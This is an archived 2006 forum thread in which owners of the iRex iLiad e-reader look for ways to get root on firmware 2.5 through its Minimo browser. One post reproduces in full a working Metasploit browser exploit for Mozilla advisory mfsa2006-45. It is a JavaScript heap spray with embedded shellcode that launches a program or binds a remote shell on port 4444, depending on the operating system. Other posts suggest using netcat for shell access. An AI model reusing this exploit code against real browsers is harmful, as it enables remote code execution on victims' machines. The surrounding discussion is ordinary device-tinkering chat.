Shiny New E-Book Gizmo: The Amazon Kindle


View Full Version : Status quo


TadW
07-29-2006, 10:05 AM
Can you tell me what is the current status quo for gaining root access in firmware 2.5? I know some people tried to brute force the password, alas that could take a *long* time.

arivero
07-29-2006, 11:00 AM
Brute forcing the pasword will not be needing, because a netcat can be installed, and even busybox incoporates one.

What is needed is a way to install a file in /etc/rc.0 or in ~/ or similar points, in order to execute the netcat or arbitrary scripts. Any arbitrary script execution should work, and also to enable the save as... window in any application would work.

I do not know how to do it. An interesting list of mozilla bugs is here
http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1180286,00.html
but I do not know if they apply to the modifyed minimo browser we run.

Any other starting points should be appreciated.

Users of 2.4 can try to upgrade to 2.5 keeping control along a delicate process, which I failed to complete sucessfully (but I describe in a separate thread).

TadW
07-29-2006, 11:35 AM
Thanks for the link, arivero. Some other good places to watch out for possible Minimo exploits are:

http://forums.mozillazine.org/viewforum.php?f=47
https://bugzilla.mozilla.org/enter_bug.cgi?format=guided%0F%22uct=Minimo

A thought: Let's assume iRex will release the SDK soon. Hypothetically, do you think they could still restrict access to the device as they do now with 2.5, or would they have to give developers more access in order to make use of the SDK?

arivero
07-29-2006, 12:18 PM
Thanks for the link, arivero. Some other good places to watch out for possible Minimo exploits are:

http://forums.mozillazine.org/viewforum.php?f=47
https://bugzilla.mozilla.org/enter_bug.cgi?format=guided%0F%22uct=Minimo

A thought: Let's assume iRex will release the SDK soon. Hypothetically, do you think they could still restrict access to the device as they do now with 2.5, or would they have to give developers more access in order to make use of the SDK?

If i could safely assume it is to be soon, I would not be looking into this, as their promise is that any developer wil be able to run their own readers. I am not worried if I need to run xdvi as user instead of root. But yes, a motive for the delay is, I guess, that they need to discuss and decide if they need a user separated from root, so a possible consequence of the delay is that the machine will be theoretically more restricted internally.

TadW
07-29-2006, 12:39 PM
Has anyone tried this exploit (http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html) that worked for Mozilla Firefox until 1.5.0.4? Perhaps it would work for iRex Minimo as well...

The following bug (mfsa2006-45 (http://www.mozilla.org/security/announce/2006/mfsa2006-45.html)) was tested on Firefox 1.5.0.4 running on Windows 2000 SP4, Windows XP SP2, and a recently updated Gentoo Linux system. This bug was reported by TippingPoint and fixed in the latest 1.5.0.5 release of Mozilla Firefox. This is different from the bug I reported (mfsa2006-48 (http://www.mozilla.org/security/announce/2006/mfsa2006-48.html)) and is trivial to turn into a working exploit. The demonstration link below will attempt to launch "calc.exe" on Windows systems, execute "touch /tmp/METASPLOIT" on Linux systems, and bind a command shell to port 4444 for Mac OS X Intel and PowerPC systems (thanks Todd and nemo!).

window.navigator = (0x01020304 / 2);
java.lang.reflect.Runtime.newInstance( java.lang.Class.forName("java.lang.Runtime"), 0);

Demonstration (http://metasploit.com/users/hdm/tools/browserfun/mobb_028.html)

This bug has been added to the OSVDB:
Mozilla Multiple Product Window Navigator Object Arbitrary Code Execution (http://osvdb.org/27559)

TadW
07-29-2006, 12:43 PM
Here the full code of the exploit. Seems it requires a Java plugin which I am not sure exists in the case of Minimo.


<script>

// MoBB Demonstration
function Demo() {

// Exploit for http://www.mozilla.org/security/announce/2006/mfsa2006-45.html
// https://bugzilla.mozilla.org/show_bug.cgi?id=342267
// CVE-2006-3677

// The Java plugin is required for this to work

// win32 = calc.exe
var shellcode_win32 = unescape('%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u01 78%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee %u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u 0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb 01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040 %uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u 808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc0 83%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7 %u6c61%u2e63%u7865%u0065');
var fill_win32 = unescape('%u0800');
var addr_win32 = 0x08000800;

// linux = touch /tmp/METASPLOIT (unreliable)
var shellcode_linux = unescape('%u0b6a%u9958%u6652%u2d68%u8963%u68e7%u73 2f%u0068%u2f68%u6962%u896e%u52e3%u16e8%u0000%u7400 %u756f%u6863%u2f20%u6d74%u2f70%u454d%u4154%u5053%u 4f4c%u5449%u5700%u8953%ucde1%u8080');
var fill_linux = unescape('%ua8a8');
var addr_linux = -0x58000000; // Integer wrap: 0xa8000000

// mac os x ppc = bind a shell to 4444
var shellcode_macppc = unescape('%u3860%u0002%u3880%u0001%u38a0%u0006%u38 00%u0061%u4400%u0002%u7c00%u0278%u7c7e%u1b78%u4800 %u000d%u0002%u115c%u0000%u0000%u7c88%u02a6%u38a0%u 0010%u3800%u0068%u7fc3%uf378%u4400%u0002%u7c00%u02 78%u3800%u006a%u7fc3%uf378%u4400%u0002%u7c00%u0278 %u7fc3%uf378%u3800%u001e%u3880%u0010%u9081%uffe8%u 38a1%uffe8%u3881%ufff0%u4400%u0002%u7c00%u0278%u7c 7e%u1b78%u38a0%u0002%u3800%u005a%u7fc3%uf378%u7ca4 %u2b78%u4400%u0002%u7c00%u0278%u38a5%uffff%u2c05%u ffff%u4082%uffe5%u3800%u0042%u4400%u0002%u7c00%u02 78%u7ca5%u2a79%u4082%ufffd%u7c68%u02a6%u3863%u0028 %u9061%ufff8%u90a1%ufffc%u3881%ufff8%u3800%u003b%u 7c00%u04ac%u4400%u0002%u7c00%u0278%u7fe0%u0008%u2f 62%u696e%u2f63%u7368%u0000%u0000');
var fill_macppc = unescape('%u0c0c');
var addr_macppc = 0x0c000000;

// mac os x intel = bind a shell to 4444
// Thanks to nemo[at]felinemenace.org for shellcode
// Thanks to Todd Manning for the target information and testing
var shellcode_macx86 = unescape('%u426a%ucd58%u6a80%u5861%u5299%u1068%u11 02%u895c%u52e1%u5242%u5242%u106a%u80cd%u9399%u5351 %u6a52%u5868%u80cd%u6ab0%u80cd%u5352%ub052%ucd1e%u 9780%u026a%u6a59%u585a%u5751%ucd51%u4980%u890f%uff f1%uffff%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3 %u5454%u5353%u3bb0%u80cd');
var fill_macx86 = unescape('%u1c1c');
var addr_macx86 = 0x1c000000;


// Start the browser detection
var shellcode;
var addr;
var fill;
var ua = '' + navigator.userAgent;

if (ua.indexOf('Linux') != -1) {
alert('Trying to create /tmp/METASPLOIT');
shellcode = shellcode_linux;
addr = addr_linux;
fill = fill_linux;
}

if (ua.indexOf('Windows') != -1) {
alert('Trying to launch Calculator');
shellcode = shellcode_win32;
addr = addr_win32;
fill = fill_win32;
}

if (ua.indexOf('PPC Mac OS') != -1) {
alert('Trying to bind a shell to 4444');
shellcode = shellcode_macppc;
addr = addr_macppc;
fill = fill_macppc;
}

if (ua.indexOf('Intel Mac OS') != -1) {
alert('Trying to bind a shell to 4444');
shellcode = shellcode_macx86;
addr = addr_macx86;
fill = fill_macx86;
}

if (! shellcode) {
alert('OS not supported, only attempting a crash!');
shellcode = unescape('%ucccc');
fill = unescape('%ucccc');
addr = 0x02020202;
}

var b = fill;
while (b.length <= 0x400000) b+=b;

var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode;
}


if (window.navigator.javaEnabled) {
window.navigator = (addr / 2);
try {
java.lang.reflect.Runtime.newInstance(
java.lang.Class.forName("java.lang.Runtime"), 0
);
alert('Patched!');
}catch(e){
alert('No Java plugin installed!');
}
}
}

</script>

arivero
07-29-2006, 12:45 PM
Has anyone tried this exploit (http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html) that worked for Mozilla Firefox until 1.5.0.4? Perhaps it would work for iRex Minimo as well...

It is a java plugin explit in theory. But I am going to give a try.

arivero
07-29-2006, 01:42 PM
I see some no-crack alternatives:

1)If chrome privileges are enabled or they can be reached, then a New File ('/tmp/example') javascript call is all we need. See http://docs.mandragor.org/files/Misc/Mozilla_applications_en/mozilla-chp-5-sect-5.html
Problem being, I am not sure how fully the js libraries are provided in mozilla minimo (it is minimo). But perhaps they can be provided from any external file.

2)To learn how to build a javascript navigation toolbar *including Save As... button*; this button is disabled in minimo but it should exist. Perhaps toinvoke it does not require chrome priviledges.

tribble
07-29-2006, 01:52 PM
i think they messed up the save as routine, since you can not save anything anywhere. I always got an error. They might have used a bogus tempfile and so minimo cant save anything.

/edit: tried to install an xpi, but cant do that either.

arivero
07-29-2006, 02:11 PM
/edit: tried to install an xpi, but cant do that either.

I got to run the typical UML demo when you press a button and then a javascript application appears.

tribble
07-29-2006, 02:22 PM
I got to run the typical UML demo when you press a button and then a javascript application appears.

But you cant save anything there. The xpi plugins have full acces to the filesystem :)

arivero
07-30-2006, 09:51 AM
i think they messed up the save as routine, since you can not save anything anywhere. I always got an error. They might have used a bogus tempfile and so minimo cant save anything.

/edit: tried to install an xpi, but cant do that either.

The mess is that they use the libs of minimo but they modifyed the browser start-up application (called "browser", no "minimo", and installed from a different package).

Gavrahil
07-30-2006, 02:18 PM
Just as a clarification for the techno-idiot (me)... Wit 2.4 you could install all kinds of stuff and play with the system and with 2.5 you're stuck with what iRex gives you for your baby? Did I get that right? Damn!

R2D2
07-30-2006, 03:05 PM
Gavrahil, I would say:

With 2.4 you could try to install all kinds of stuff and try to play with the system.

arivero
07-31-2006, 05:11 AM
But you cant save anything there. The xpi plugins have full acces to the filesystem :)

It seems that they at iRex have modified the browser beyond minimo.

I was not expecting to need a xpi plugin; perhaps something simpler as old IE
document.execCommand('SaveAs')
that requires user interaction and should not be a priviledged command after all.


PS: Mozilla security releases are at
http://www.mozilla.org/projects/security/known-vulnerabilities.html

arivero
08-01-2006, 05:59 AM
But you cant save anything there. The xpi plugins have full acces to the filesystem :)
As I am learning now -not in the iLiad-, the xpi "tars" (actually, pkzips?) are always granted "chrome" access if the user validates it, but I am not sure if in this case (modyfied minimo browser) javascript alone, as from a .xul file, has already some privilege.

I have been using the dump of 2.4 to look at the usr/lib/mozilla-minimo and it seems complete enough.

tribble
08-01-2006, 06:33 AM
Yes, if we could get anything "installed" we would have complete access on the browser. But since they messed with the temp folder, which seems to be necessary, we cant get anything on the machine via the minimo browser.

Javascript which is not installed has only limited access.

Only thing that might get us in with minimo is some bug that allows malicious code to be executed.

But i dont have the time to look for something like that. :(

ali
08-01-2006, 06:56 AM
To add two cents:

I'm fed up. I'll wait for the SDK and the outcome of Riocaz' support nightmare (http://www.mobileread.com/forums/showthread.php?t=7089). Until then, I'll use the device for reading books, and I'll tell my friends to wait before ordering.

And then, if there is a SDK, and if it really opens the machine, and if I can get a reinstall for much less than 75 Euros, I'll start writing/porting some applications. But not now.